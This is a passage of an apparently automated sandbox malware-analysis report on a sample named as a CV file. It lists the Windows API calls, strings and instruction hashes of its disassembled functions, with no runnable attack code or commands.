                                                                          • VariantInit.OLEAUT32(?), ref: 005C955B
                                                                          • SafeArrayAccessData.OLEAUT32(?,?), ref: 005C957B
                                                                          • VariantCopy.OLEAUT32(?,?), ref: 005C95BE
                                                                          • SafeArrayUnaccessData.OLEAUT32(?), ref: 005C95D2
                                                                          • VariantClear.OLEAUT32(?), ref: 005C95E7
                                                                          • SafeArrayDestroyData.OLEAUT32(?), ref: 005C95F4
                                                                          • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 005C95FD
                                                                          • VariantClear.OLEAUT32(?), ref: 005C960F
                                                                          • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 005C961A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                                          • String ID:
                                                                          • API String ID: 2706829360-0
                                                                          • Opcode ID: 3d6ec9113edd93b5ec83f8e0f76641d8519b5239d56d2005ed52b9cf47ad27e2
                                                                          • Instruction ID: 13827b2117e5ba816476a73225549f234365a19a20bd2cf67875c95a5efcd8f9
                                                                          • Opcode Fuzzy Hash: 3d6ec9113edd93b5ec83f8e0f76641d8519b5239d56d2005ed52b9cf47ad27e2
                                                                          • Instruction Fuzzy Hash: 67411D31900219AFCB01EFE4D888EDEBFB9FF48354F04846AE511A7251DB35AA45CBA1
                                                                          Function 005EBB08 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 264COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$ClearInit$_memset
                                                                          • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$h?d$|?d
                                                                          • API String ID: 2862541840-1731189980
                                                                          • Opcode ID: 48936c5a2ca4d3a00207ad6af342231b5b677b7d4baf366704b84cd198eb63fe
                                                                          • Instruction ID: a9cffda619a0c6a0e7bcdc9c70961774d765dc5dcedff4069629e545c4af2cfa
                                                                          • Opcode Fuzzy Hash: 48936c5a2ca4d3a00207ad6af342231b5b677b7d4baf366704b84cd198eb63fe
                                                                          • Instruction Fuzzy Hash: 43919F71A04255ABEF28CF96CC44FAFBBB9FF85311F10855AE549AB280D7709944CBA0
                                                                          Function 005EADAE Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                          • CoInitialize.OLE32 ref: 005EADF6
                                                                          • CoUninitialize.OLE32 ref: 005EAE01
                                                                          • CoCreateInstance.OLE32(?,00000000,00000017,0061D8FC,?), ref: 005EAE61
                                                                          • IIDFromString.OLE32(?,?), ref: 005EAED4
                                                                          • VariantInit.OLEAUT32(?), ref: 005EAF6E
                                                                          • VariantClear.OLEAUT32(?), ref: 005EAFCF
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                                          • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                                          • API String ID: 834269672-1287834457
                                                                          • Opcode ID: 9ddea60cff85fb12a86da960bb53aa2b4c17e4d6ef19272101568114f23f525f
                                                                          • Instruction ID: c4e3a938344d01192922e5293e8d6b6c68643369e21d2113d12ef83f268c68e9
                                                                          • Opcode Fuzzy Hash: 9ddea60cff85fb12a86da960bb53aa2b4c17e4d6ef19272101568114f23f525f
                                                                          • Instruction Fuzzy Hash: CE61AB71208352AFD714DF65C889B6EBBE9BF88704F04480AF9959B291D770ED48CB93
                                                                          Function 005E8107 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • WSAStartup.WSOCK32(00000101,?), ref: 005E8168
                                                                          • inet_addr.WSOCK32(?,?,?), ref: 005E81AD
                                                                          • gethostbyname.WSOCK32(?), ref: 005E81B9
                                                                          • IcmpCreateFile.IPHLPAPI ref: 005E81C7
                                                                          • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 005E8237
                                                                          • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 005E824D
                                                                          • IcmpCloseHandle.IPHLPAPI(00000000), ref: 005E82C2
                                                                          • WSACleanup.WSOCK32 ref: 005E82C8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                                          • String ID: Ping
                                                                          • API String ID: 1028309954-2246546115
                                                                          • Opcode ID: 3bdba84062a4df15e768a4022b76e5eaa0371eaf553686e286f7cec975e59907
                                                                          • Instruction ID: 85b3694cde5e17e1ae81e66ab8fda3f3fd8e39cc5a67589279afa4a16895584b
                                                                          • Opcode Fuzzy Hash: 3bdba84062a4df15e768a4022b76e5eaa0371eaf553686e286f7cec975e59907
                                                                          • Instruction Fuzzy Hash: EF518135604701AFDB149F65CC4AB6A7FE5FF85310F04896AFA999B2A1DB30E801CB41
                                                                          Function 005DE389 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 005DE396
                                                                          • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 005DE40C
                                                                          • GetLastError.KERNEL32 ref: 005DE416
                                                                          • SetErrorMode.KERNEL32(00000000,READY), ref: 005DE483
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Error$Mode$DiskFreeLastSpace
                                                                          • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                          • API String ID: 4194297153-14809454
                                                                          • Opcode ID: 760b271655f7eaa5f120b11fc79b72ae9ccbbe36399c129d0f4a0d9c6fb471e1
                                                                          • Instruction ID: baef5e01b3377d47c1c6597bae3aa45ad00e0b7b12e904cd65461fd697ff4dfe
                                                                          • Opcode Fuzzy Hash: 760b271655f7eaa5f120b11fc79b72ae9ccbbe36399c129d0f4a0d9c6fb471e1
                                                                          • Instruction Fuzzy Hash: E9316035A0020A9BDF21EB68C98AABDBFB5FF44300F148417E505AB391DA709A02C791
                                                                          Function 005CB907 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 005CB98C
                                                                          • GetDlgCtrlID.USER32 ref: 005CB997
                                                                          • GetParent.USER32 ref: 005CB9B3
                                                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 005CB9B6
                                                                          • GetDlgCtrlID.USER32(?), ref: 005CB9BF
                                                                          • GetParent.USER32(?), ref: 005CB9DB
                                                                          • SendMessageW.USER32(00000000,?,?,00000111), ref: 005CB9DE
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$CtrlParent
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 1383977212-1403004172
                                                                          • Opcode ID: faa63fcb46a1e01fa89ade49de91034d2edfa0bf3305eec0b888bdc5b22c3507
                                                                          • Instruction ID: 802a174719b886547e98d7ec6131b2378d191b447aee9e130b89a46ac7da4fb0
                                                                          • Opcode Fuzzy Hash: faa63fcb46a1e01fa89ade49de91034d2edfa0bf3305eec0b888bdc5b22c3507
                                                                          • Instruction Fuzzy Hash: BC21C175900109BFDF04ABA4CC96EFEBF7AFF89300F10411AF651A72A1DB7558159B60
                                                                          Function 005CB9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 005CBA73
                                                                          • GetDlgCtrlID.USER32 ref: 005CBA7E
                                                                          • GetParent.USER32 ref: 005CBA9A
                                                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 005CBA9D
                                                                          • GetDlgCtrlID.USER32(?), ref: 005CBAA6
                                                                          • GetParent.USER32(?), ref: 005CBAC2
                                                                          • SendMessageW.USER32(00000000,?,?,00000111), ref: 005CBAC5
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$CtrlParent
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 1383977212-1403004172
                                                                          • Opcode ID: c9176bd3b1df23ed31560f074ed169be4e857676f7e903d9a70ae1cc81f5ac69
                                                                          • Instruction ID: 4427e65637e1395efd94e4c3e39831c307c82e16e3d1687ae130297ff19cb85b
                                                                          • Opcode Fuzzy Hash: c9176bd3b1df23ed31560f074ed169be4e857676f7e903d9a70ae1cc81f5ac69
                                                                          • Instruction Fuzzy Hash: 3621AEB5900105BFDB01ABA4CC86EFEBB7AFB49300F14401AF55197191DB7588159B60
                                                                          Function 005CBAD7 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetParent.USER32 ref: 005CBAE3
                                                                          • GetClassNameW.USER32(00000000,?,00000100), ref: 005CBAF8
                                                                          • _wcscmp.LIBCMT ref: 005CBB0A
                                                                          • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 005CBB85
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ClassMessageNameParentSend_wcscmp
                                                                          • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                          • API String ID: 1704125052-3381328864
                                                                          • Opcode ID: 14b7325c951b889771b205fc7a2b1f5ed020a7580fd125fd37a8e93fe511b283
                                                                          • Instruction ID: 5853191e7000a6e80f704480b44c73c585a0d78d4f1e5e52b35fc508e4da2baa
                                                                          • Opcode Fuzzy Hash: 14b7325c951b889771b205fc7a2b1f5ed020a7580fd125fd37a8e93fe511b283
                                                                          • Instruction Fuzzy Hash: 7B11E376608317FEFB2466609C1BEE73FAEAF51728F20402AF904E50D5EBA26C518564
                                                                          Function 005EB2A9 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • VariantInit.OLEAUT32(?), ref: 005EB2D5
                                                                          • CoInitialize.OLE32(00000000), ref: 005EB302
                                                                          • CoUninitialize.OLE32 ref: 005EB30C
                                                                          • GetRunningObjectTable.OLE32(00000000,?), ref: 005EB40C
                                                                          • SetErrorMode.KERNEL32(00000001,00000029), ref: 005EB539
                                                                          • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 005EB56D
                                                                          • CoGetObject.OLE32(?,00000000,0061D91C,?), ref: 005EB590
                                                                          • SetErrorMode.KERNEL32(00000000), ref: 005EB5A3
                                                                          • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 005EB623
                                                                          • VariantClear.OLEAUT32(0061D91C), ref: 005EB633
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                                          • String ID:
                                                                          • API String ID: 2395222682-0
                                                                          • Opcode ID: 8454a83c6b572673883215d69f7ff22d468d37d26980048aed5ab6ccd653183c
                                                                          • Instruction ID: 6557fd7b68fbc16de973e8ecdd04978692aa1d33e215af2ef75e7d6db4be3cbf
                                                                          • Opcode Fuzzy Hash: 8454a83c6b572673883215d69f7ff22d468d37d26980048aed5ab6ccd653183c
                                                                          • Instruction Fuzzy Hash: B7C133B1608341AFDB04DF69C884A6BBBEAFF88305F04491DF58A9B251DB71ED05CB52
                                                                          Function 005BACB3 Relevance: 15.2, APIs: 10, Instructions: 219COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __lock.LIBCMT ref: 005BACC1
                                                                            • Part of subcall function 005B7CF4: __mtinitlocknum.LIBCMT ref: 005B7D06
                                                                            • Part of subcall function 005B7CF4: EnterCriticalSection.KERNEL32(00000000,?,005B7ADD,0000000D), ref: 005B7D1F
                                                                          • __calloc_crt.LIBCMT ref: 005BACD2
                                                                            • Part of subcall function 005B6986: __calloc_impl.LIBCMT ref: 005B6995
                                                                            • Part of subcall function 005B6986: Sleep.KERNEL32(00000000,000003BC,005AF507,?,0000000E), ref: 005B69AC
                                                                          • @_EH4_CallFilterFunc@8.LIBCMT ref: 005BACED
                                                                          • GetStartupInfoW.KERNEL32(?,00646E28,00000064,005B5E91,00646C70,00000014), ref: 005BAD46
                                                                          • __calloc_crt.LIBCMT ref: 005BAD91
                                                                          • GetFileType.KERNEL32(00000001), ref: 005BADD8
                                                                          • InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 005BAE11
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
                                                                          • String ID:
                                                                          • API String ID: 1426640281-0
                                                                          • Opcode ID: 24e8e45d6b0b15a951d2f9aec28170ee481df5c262f5ae520f3687881aa94fac
                                                                          • Instruction ID: 327b6f7b4ae13a8080dc29dbde040b25e13e2655c2aaaf4fa3304c616568a005
                                                                          • Opcode Fuzzy Hash: 24e8e45d6b0b15a951d2f9aec28170ee481df5c262f5ae520f3687881aa94fac
                                                                          • Instruction Fuzzy Hash: C081D0719053469FDB24CF68C8845E9BFF5BF4A320B24526DE4A6AB3D1D734E802CB52
                                                                          Function 005D4025 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentThreadId.KERNEL32 ref: 005D4047
                                                                          • GetForegroundWindow.USER32(00000000,?,?,?,?,?,005D30A5,?,00000001), ref: 005D405B
                                                                          • GetWindowThreadProcessId.USER32(00000000), ref: 005D4062
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,005D30A5,?,00000001), ref: 005D4071
                                                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 005D4083
                                                                          • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,005D30A5,?,00000001), ref: 005D409C
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,005D30A5,?,00000001), ref: 005D40AE
                                                                          • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,005D30A5,?,00000001), ref: 005D40F3
                                                                          • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,005D30A5,?,00000001), ref: 005D4108
                                                                          • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,005D30A5,?,00000001), ref: 005D4113
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                          • String ID:
                                                                          • API String ID: 2156557900-0
                                                                          • Opcode ID: 04d199f9c309d71107de972e9448d21f03a63c36c14453124525089ec7be1fc9
                                                                          • Instruction ID: 42efea0ffde8494eea89cff0c6873a643c52a42d1e3c4d8514a3953aabefbfa9
                                                                          • Opcode Fuzzy Hash: 04d199f9c309d71107de972e9448d21f03a63c36c14453124525089ec7be1fc9
                                                                          • Instruction Fuzzy Hash: 08319171500315AFDB21DF98DC8ABA97BAABB54752F14D017F904E6390CBB49980CFA0
                                                                          Function 0060DD4A Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetSysColor.USER32(00000008), ref: 005AB496
                                                                          • SetTextColor.GDI32(?,000000FF), ref: 005AB4A0
                                                                          • SetBkMode.GDI32(?,00000001), ref: 005AB4B5
                                                                          • GetStockObject.GDI32(00000005), ref: 005AB4BD
                                                                          • GetClientRect.USER32(?), ref: 0060DD63
                                                                          • SendMessageW.USER32(?,00001328,00000000,?), ref: 0060DD7A
                                                                          • GetWindowDC.USER32(?), ref: 0060DD86
                                                                          • GetPixel.GDI32(00000000,?,?), ref: 0060DD95
                                                                          • ReleaseDC.USER32(?,00000000), ref: 0060DDA7
                                                                          • GetSysColor.USER32(00000005), ref: 0060DDC5
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
                                                                          • String ID:
                                                                          • API String ID: 3430376129-0
                                                                          • Opcode ID: a83883abe19be535108199ac487ba7fcbb88da7abd56b0a125dc81b4eb8fe439
                                                                          • Instruction ID: eaee88c47cca94359d3d356712ae0d57485d06d919a5829cff2b6a83fd46d00a
                                                                          • Opcode Fuzzy Hash: a83883abe19be535108199ac487ba7fcbb88da7abd56b0a125dc81b4eb8fe439
                                                                          • Instruction Fuzzy Hash: BA114C31540205BFEB216BB4EC09BE97F73FB09325F149626FA66950E2CB310941EF60
                                                                          Function 00593093 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 005930DC
                                                                          • CoUninitialize.OLE32(?,00000000), ref: 00593181
                                                                          • UnregisterHotKey.USER32(?), ref: 005932A9
                                                                          • DestroyWindow.USER32(?), ref: 00605079
                                                                          • FreeLibrary.KERNEL32(?), ref: 006050F8
                                                                          • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00605125
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                                          • String ID: close all
                                                                          • API String ID: 469580280-3243417748
                                                                          • Opcode ID: a336a873b257f7929f1d6973cbfc441cc20629882b836df7f34e3d01e078fde9
                                                                          • Instruction ID: ae0a9e3924a01e8721920c3e736951c431ed4ab62b25a693c411da820aa89b18
                                                                          • Opcode Fuzzy Hash: a336a873b257f7929f1d6973cbfc441cc20629882b836df7f34e3d01e078fde9
                                                                          • Instruction Fuzzy Hash: 0C912E34600202DFCB19EF14C899B69FBB5FF55304F5581A9E50A672A2DF30AE56CF50
                                                                          Function 005ACB8D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetWindowLongW.USER32(?,000000EB), ref: 005ACC15
                                                                            • Part of subcall function 005ACCCD: GetClientRect.USER32(?,?), ref: 005ACCF6
                                                                            • Part of subcall function 005ACCCD: GetWindowRect.USER32(?,?), ref: 005ACD37
                                                                            • Part of subcall function 005ACCCD: ScreenToClient.USER32(?,?), ref: 005ACD5F
                                                                          • GetDC.USER32 ref: 0060D137
                                                                          • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0060D14A
                                                                          • SelectObject.GDI32(00000000,00000000), ref: 0060D158
                                                                          • SelectObject.GDI32(00000000,00000000), ref: 0060D16D
                                                                          • ReleaseDC.USER32(?,00000000), ref: 0060D175
